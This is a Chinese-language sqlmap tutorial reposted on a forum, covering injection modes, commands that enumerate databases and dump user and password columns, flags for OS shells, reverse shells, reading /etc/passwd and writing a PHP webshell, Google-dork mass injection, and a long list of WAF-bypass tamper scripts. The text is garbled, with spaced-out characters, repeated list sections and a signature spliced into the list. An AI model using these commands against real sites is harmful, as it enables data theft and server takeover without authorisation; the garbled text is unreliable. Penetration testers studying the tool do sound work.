搜索

[20289] 2020-03-11_带你玩转系列之Sqlmap

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-03-11_带你玩转系列之Sqlmap ​ 带 你 玩 转 系 列 之 S q l m a p 原 创   K h a n 安 全 团 队   K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 3 - 1 1 正 所 谓 正 所 谓 S q l m a p 玩 得 玩 得 6 ， ， j i a n y u 等 你 救 等 你 救   0 0 x 0 0         S q l m a p 介 绍 介 绍   S Q L M a p 是 一 个 自 动 化 的 S Q L 注 入 工 具 ， 其 主 要 功 能 是 扫 描 ， 发 现 并 利 用 给 定 的 u r l 的 S Q L 注 入 漏 洞 内 置 很 多 绕 过 插 件 ， 支 持 M y S Q L , O r a c l e , P o s t g r e S Q L ,   M i c r o s o f t   S Q L   S e r v e r ,   M i c r o s o f t   A c c e s s ,   I B M   D B 2 ,   S Q L i t e ,   F i r e b i r d , S y b a s e 和 S A P   M a x D B 等 数 据 库 的 各 种 安 全 漏 洞 检 测 。   s q l m a p 支 持 五 种 不 同 的 注 入 模 式 ：         基 于 布 尔 的 盲 注 ， 即 可 以 根 据 返 回 页 面 判 断 条 件 真 假 的 注 入 ；         基 于 时 间 的 盲 注 ， 即 不 能 根 据 页 面 返 回 内 容 判 断 任 何 信 息 ， 用 条 件 语 句 查 看 时 间 延 迟 语 句 是 否 执 行 （ 即 页 面 返 回 时 间 是 否 增 加 ） 来 判 断 ；         基 于 报 错 注 入 ， 即 页 面 会 返 回 错 误 信 息 ， 或 者 把 注 入 的 语 句 的 结 果 直 接 返 回 在 页 面 中 ；         联 合 查 询 注 入 ， 可 以 使 用 u n i o n 的 情 况 下 的 注 入 ；         堆 查 询 注 入 ， 可 以 同 时 执 行 多 条 语 句 的 执 行 时 的 注 入 。     官 方 下 载 地 址 ： h t t p : / / s q l m a p . o r g 需 要 环 境 ： h t t p s : / / w w w . p y t h o n . o r g   0 0 x 0 1         S Q L m a p 创 建 桌 面 快 捷 方 式 创 建 桌 面 快 捷 方 式 桌 面 右 键 创 建 一 个 c m d 快 捷 方 式 重 新 命 名 为 S Q L m a p . e x e , ， 点 击 属 性 模 块 ， 把 起 始 位 置 改 为 S Q L m a p 的 绝 对 路 径
  运 行 程 序 ， 可 通 过 - - h e l p 获 取 参 数 帮 助   0 0 x 0 2         S q l m a p 入 门 参 数 入 门 参 数 - p ： 指 定 测 试 参 数 ， 如 s q l m a p   - u   1 9 2 . 1 6 8 . 0 . 1 / ? i d = 1   - p i d - - d b m s = m y s q l   / o r a c l e /   m s s q l ： 指 定 数 据 库   - - d e l a y   1 ： 延 时 1 秒 进 行 注 入 （ 延 迟 注 入 ）   - b ：   获 取 b a n n e r   - g ： 批 量 从 谷 歌 获 取 u r l 进 行 批 量 注 入   - g   " i n u r l : j s p ? i d = "   - r 读 取 p o s t 包 判 断 注 入 点   s q l m a p   - r   C ： / p o s t . t x t   - u   判 断 是 否 存 在 注 入 点   s q l m a p   - u   1 9 2 . 1 6 8 . 0 . 1 / ? i d = 1   - - d b s   查 询 当 前 用 户 下 的 所 有 数 据 库   s q l m a p   - u   1 9 2 . 1 6 8 . 0 . 1 / ? i d = 1   - - d b s   - t a b l e s   获 取 数 据 库 中 的 表 名   s q l m a p   - u   1 9 2 . 1 6 8 . 0 . 1 / ? i d = 1   - D   s j k   - - t a b l e s   - - c o l u m s   获 取 表 名 中 的 字 段 名   s q l m a p   - u   1 9 2 . 1 6 8 . 0 . 1 / ? i d = 1   - D   s j k   - T   b i a o   - - c o l u m s   - - d u m p 获 取 字 段 的 内 容   s q l m a p   - u   1 9 2 . 1 6 8 . 0 . 1 / ? i d = 1   - D   s j k   - T   b i a o   - C   u s e r   p a s s   - - d u m p
  0 0 x 0 3         S q l m a p 进 阶 参 数 进 阶 参 数   - - l e v e l 5 ： 探 测 等 级 1 - 5 级 ， 会 自 动 跑 c o o k i e ， X F F 等 参 数 注 入 ， 一 般 推 荐 3 级 。   - - i s - d b a ： 判 断 是 否 为 d b a 权 限   - - s q l - s h e l l ： 直 接 运 行 s q l 语 句   - - o s - c m e / - - o s - s h e l l ： 操 作 系 统 命 令   - - f i l e - r e a d ： 从 数 据 库 服 务 器 中 读 取 文 件   - - f i l e - r e a d = " / e t c / p a s s w o r d "   - - f i l e - w r i t e ：   写 入 操 作   - - s q l - q u e r y = " s e l e c t   " 一 句 话 "   - - f i l e - w r i t e = " m a . p h p "   - - f i l e - d e s t ： 写 入 绝 对 路 径   - - - r o l e s ： 列 出 数 据 库 管 理 员   - - u n i o n - c h e c k ： 是 否 支 持 u n i o n 注 入   - - u n i o n - c o l s ： u n i o n   查 询 表 记 录   - - u n i o n - t e s t ： u n i o n 语 句 测 试   - - u n i o n - u s e ： 采 用 u n i o n   注 入   - - p r o x y ： 添 加 代 理   - - p r o x y = 1 2 7 . 0 . 0 . 1 ： 1 0 8 0   - - - t h r e a d s ： 多 线 程   - - u s e r - a g e n t ： 自 定 义 u s e r - a g e n t   - - r e f e r e r = R E F E R E R ： H T T P   r e f e r e r 头   - - e v a l = E V A L C O D E ： 所 使 用 H T T P 参 数 污 染   - - h o s t n a m e ： 主 机 名   - - s c h e m a ： 枚 举 D B M S 模 式   - - c o u n t ： 检 索 所 有 条 目 数   - - s e a r c h ： 搜 索 列 ， 表 或 数 据 库 名 称   - - r e g - r e a d ：   阅 读 一 个 W i n d o w s 注 册 表 项 值   - - r e g - a d d ： 增 加 一 个 W i n d o w s 注 册 表 项 值 数 据   - - r e g - d e l ： 删 除 一 个 W i n d o w s 注 册 表 项 值 数 据   - - r e g - k e y = R E G K E Y ： W i n d o w s 注 册 表 键   - - r e g - v a l u e = R E G V A L ：   W i n d o w s 注 册 表 键 值   - -   r e g - d a t a = R E G D A T A ： W i n d o w s 注 册 表 的 键 值 项 数 据   - - r e g - t y p e = R E G T Y P E ： W i n d o w s 注 册 表 键 的 值 类 型  
- - h e x ： 使 用 十 六 进 制 数 据 检 索 功 能   - - o u t p u t - d i r = O D I R   ： 自 定 义 输 出 的 目 录 路 径   - - c h e c k - w a f ： 启 发 式 检 查 W A F   /   I P S   /   I D S 保 护   - - o s - p w n ： 反 弹 s h e l l   - - r a n d o m - a g e n t ： 使 用 随 机 选 定 的 U s e r - A g e n t 头 0 0 x 0 4           T a m p e r 脚 本 使 用 脚 本 使 用   利 用 t a m p e r 脚 本 来 绕 过 W A F t a p m e r = 0 x 2 c h a r                               将 每 个 编 码 后 的 字 符 转 换 为 等 价 表 达                               t a p m e r = a p o s t r o p h e m a s k                               单 引 号 替 换 为 U t f 8 字 符                               t a p m e r = a p o s t r o p h e n u l l e n c o d e                               替 换 双 引 号 为 % 0 0 % 2 7                               t a p m e r = a p p e n d n u l l b y t e                               有 效 代 码 后 添 加 % 0 0                               t a p m e r = b a s e 6 4 e n c o d e                               使 用 b a s e 6 4 编 码                               t a p m e r = b e t w e e n                               比 较 符 替 换 为 b e t w e e n                               t a p m e r = b l u e c o a t                               空 格 替 换 为 随 机 空 白 字 符 ， 等 号 替 换 为 l i k e                               t a p m e r = c h a r d o u b l e e n c o d e                               双 u r l 编 码                               t a p m e r = c h a r e n c o d e                               将 u r l 编 码                               t a p m e r =                               t a p m e r = 0 x 2 c h a r                               将 每 个 编 码 后 的 字 符 转 换 为 等 价 表 达                               t a p m e r = a p o s t r o p h e m a s k                               单 引 号 替 换 为 U t f 8 字 符                               t a p m e r = a p o s t r o p h e n u l l e n c o d e                               替 换 双 引 号 为 % 0 0 % 2 7                               t a p m e r = a p p e n d n u l l b y t e                               有 效 代 码 后 添 加 % 0 0                               t a p m e r = b a s e 6 4 e n c o d e                               使 用 b a s e 6 4 编 码                               t a p m e r = b e t w e e n                               比 较 符 替 换 为 b e t w e e n                               t a p m e r = b l u e c o a t                               空 格 替 换 为 随 机 空 白 字 符 ， 等 号 替 换 为 l i k e                               t a p m e r = c h a r d o u b l e e n c o d e                               双 u r l 编 码                               t a p m e r = c h a r e n c o d e                               将 u r l 编 码                               t a p m e r = c h a r u n i c o d e e n c o d e                               使 用 u n i c o d e 编 码                               t a p m e r = c h a r u n i c o d e e s c a p e                               以 指 定 的 p a y l o a d 反 向 编 码 未 编 码 的 字 符                               t a p m e r = c o m m a l e s s l i m i t                               改 变 l i m i t 语 句 的 写 法                               t a p m e r = c o m m a l e s s m i d                               改 变 m i d 语 句 的 写 法                               t a p m e r = c o m m e n t b e f o r e p a r e n t h e s e s                               在 括 号 前 加 内 联 注 释                               t a p m e r = c o n c a t 2 c o n c a t w s                               替 换 C O N C A T 为 C O N C A T _ W S                               t a p m e r = e q u a l t o l i k e                               等 号 替 换 为 l i k e                               t a p m e r = e s c a p e q u o t e s                               双 引 号 替 换 为                               t a p m e r = g r e a t e s t                               大 于 号 替 换 为 g r e a t e s t                               t a p m e r = h a l f v e r s i o n e d m o r e k e y w o r d s                               在 每 个 关 键 字 前 加 注 释                               t a p m e r = h t m l e n c o d e                               h t m l 编 码 所 有 非 字 母 和 数 字 的 字 符                               t a p m e r = i f n u l l 2 c a s e w h e n i s n u l l                               改 变 i f n u l l 语 句 的 写 法                               t a p m e r = i f n u l l 2 i f i s n u l l                               替 换 i f n u l l 为 i f ( i s n u l l ( A ) )                               t a p m e r = i n f o r m a t i o n s c h e m a c o m m e n t                               标 示 符 后 添 加 注 释                               t a p m e r = l e a s t                               替 换 大 于 号 为 l e a s t                               t a p m e r = l o w e r c a s e                               全 部 替 换 为 小 写 值                               t a p m e r = m o d s e c u r i t y v e r s i o n e d                               空 格 替 换 为 查 询 版 本 的 注 释                               t a p m e r = m o d s e c u r i t y z e r o v e r s i o n e d                               添 加 完 整 的 查 询 版 本 的 注 释                               t a p m e r = m u l t i p l e s p a c e s                               添 加 多 个 空 格                               t a p m e r = n o n r e c u r s i v e r e p l a c e m e n t                               替 换 预 定 义 的 关 键 字                               t a p m e r = o v e r l o n g u t f 8                               将 所 有 字 符 转 义 为 u t f 8                               t a p m e r = o v e r l o n g u t f 8 m o r e                               以 指 定 的 p a y l o a d 转 换 所 有 字 符                               t a p m e r = p e r c e n t a g e                               每 个 字 符 前 添 加 %                               t a p m e r = p l u s 2 c o n c a t                               将 加 号 替 换 为 c o n c a t 函 数                              
  更 多 s q l m a p 用 法 ： h t t p s : / / g i t h u b . c o m / s q l m a p p r o j e c t / s q l m a p / w i k i / U s a g e   带 你 玩 转 系 列 之 N m a p 手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。 手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。                                                                                             -   K h a n 攻 防 安 全 实 验 室 攻 防 安 全 实 验 室 t a p m e r = p l u s 2 f n c o n c a t                               将 加 号 替 换 为 O D B C 函 数 { f n                               C O N C A T ( ) }                               t a p m e r = r a n d o m c a s e                               字 符 大 小 写 随 机 替 换                               t a p m e r = r a n d o m c o m m e n t s                               / * * / 分 割 关 键 字                               t a p m e r = s e c u r e s p h e r e                               添 加 某 字 符 串                               t a p m e r = s p _ p a s s w o r d                               追 加 s p _ p a s s w o r d 字 符 串                               t a p m e r = s p a c e 2 c o m m e n t                               空 格 替 换 为 / * * /                               t a p m e r = s p a c e 2 d a s h                               空 格 替 换 为 – 加 随 机 字 符                               t a p m e r = s p a c e 2 h a s h                               空 格 替 换 为 # 加 随 机 字 符                               t a p m e r = s p a c e 2 m o r e c o m m e n t                               空 格 替 换 为 / * * _ * * /                               t a p m e r = s p a c e 2 m o r e h a s h                               空 格 替 换 为 # 加 随 机 字 符 及 换 行 符                               t a p m e r = s p a c e 2 m s s q l b l a n k                               空 格 替 换 为 其 他 空 符 号                               t a p m e r = s p a c e 2 m s s q l h a s h                               空 格 替 换 为 % 2 3 % 0 A                               t a p m e r = s p a c e 2 m y s q l b l a n k                               空 格 替 换 为 其 他 空 白 符 号                               t a p m e r = s p a c e 2 m y s q l d a s h                               空 格 替 换 为 – % 0 A                               t a p m e r = s p a c e 2 p l u s                               空 格 替 换 为 加 号                               t a p m e r = s p a c e 2 r a n d o m b l a n k                               空 格 替 换 为 备 选 字 符 集 中 的 随 机 字 符                               t a p m e r = s y m b o l i c l o g i c a l                               A N D 和 O R 替 换 为 & & 和 | |                               t a p m e r = u n i o n a l l t o u n i o n                               u n i o n                               a l l                               s e l e c t 替 换 为 u n i o n                               s e l e c t                               t a p m e r = u n m a g i c q u o t e s                               宽 字 符 绕 过 G P C                               t a p m e r = u p p e r c a s e                               全 部 替 换 为 大 写 值                               t a p m e r = v a r n i s h                               添 加 H T T P 头                               t a p m e r = v e r s i o n e d k e y w o r d s                               用 注 释 封 装 每 个 非 函 数 的 关 键 字                               t a p m e r = v e r s i o n e d m o r e k e y w o r d s                               使 用 注 释 绕 过                               t a p m e r = x f o r w a r d e d f o r                               添 加 伪 造 的 H T T P 头
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理